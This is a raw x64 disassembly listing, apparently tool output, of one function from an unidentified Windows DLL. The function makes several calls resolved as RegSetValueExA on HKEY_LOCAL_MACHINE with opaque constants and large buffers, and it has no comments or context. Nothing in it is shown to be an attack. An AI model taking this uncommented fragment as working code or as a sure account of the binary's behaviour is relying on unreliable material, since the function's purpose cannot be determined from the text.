mov rcx, 0xffffffff80000002
mov qword [rbp - 0x40], 0x2246d4
mov qword [rbp - 0x38], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x180049db7
mov rax, 0xffffffffffffff9c
jmp 0x180049f7b
mov r8d, dword [rsp + 0x38]
mov rdx, rsi
mov rcx, qword [rsp + 0x30]
call fcn.180047eb0
mov rcx, qword [rsp + 0x30]
test al, al
jne 0x180049de3
call fcn.180048030
mov rax, 0xffffffffffffff92
jmp 0x180049f7b
add rcx, qword [rsp + 0x38]
lea rdx, str._USVWATH
mov r8d, 0x49e
call fcn.180047eb0
test al, al
jne 0x180049e14
mov rcx, qword [rsp + 0x30]
call fcn.180048030
mov rax, 0xffffffffffffff88
jmp 0x180049f7b
mov rax, qword [rsp + 0x30]
mov r9d, 3
mov rcx, qword [rsp + 0x38]
add rax, 0x49e
add rcx, rax
mov dword [rsp + 0x28], 0x28
lea rax, [rsp + 0x30]
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], rax
xor r8d, r8d
lea rax, [rbp - 0x80]
mov qword [rbp - 0x80], 0xffffffffc0000001
mov qword [rbp - 0x20], rax
xor edx, edx
lea rax, [rbp - 0x40]
mov qword [rbp - 0x40], 0x22451c
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov qword [rbp - 0x28], 0x48
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
cmp dword [rbp - 0x80], r14d
jge 0x180049e99
call fcn.180048030
mov rax, 0xffffffffffffff7e
jmp 0x180049f7b
mov rax, qword [rsp + 0x38]
lea rdx, [rax + 0x49e]
lea r8, [rcx + rax]
add rdx, rcx
mov rcx, r8
call fcn.1800481d0
mov rcx, qword [rsp + 0x30]
mov rbx, rax
call fcn.180048030
xor edx, edx
lea rcx, [rbp - 0x10]
mov r8d, 0x1000
call fcn.180079d00
lea rax, [rbp - 0x10]
mov dword [rsp + 0x28], 0x28
mov qword [rbp - 0x30], rax
mov r9d, 3
lea rax, [rbp - 0x70]
mov qword [rbp - 0x70], 0xffffffffc0000001
mov qword [rbp - 0x20], rax
xor r8d, r8d
lea rax, [rbp - 0x40]
mov qword [rbp - 0x40], 0x22451c
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x28], 0x1000
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rax, [rbp - 0x80]
mov dword [rsp + 0x28], 0x28
mov qword [rbp - 0x20], rax
mov r9d, 3
lea rax, [rbp - 0x40]
mov dword [rbp - 0x80], r14d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
mov qword [rbp - 0x40], 0x2245e4
mov rcx, 0xffffffff80000002
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], 1
mov qword [rbp - 0x28], 0x1000
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rax, rbx
movaps xmm9, xmmword [rsp + 0x1110]
movaps xmm8, xmmword [rsp + 0x1120]
movaps xmm7, xmmword [rsp + 0x1130]
movaps xmm6, xmmword [rsp + 0x1140]
movaps xmm10, xmmword [rsp + 0x1100]
mov rcx, qword [rbp + 0xff0]
xor rcx, rsp
call fcn.180056f00
lea r11, [rsp + 0x1150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret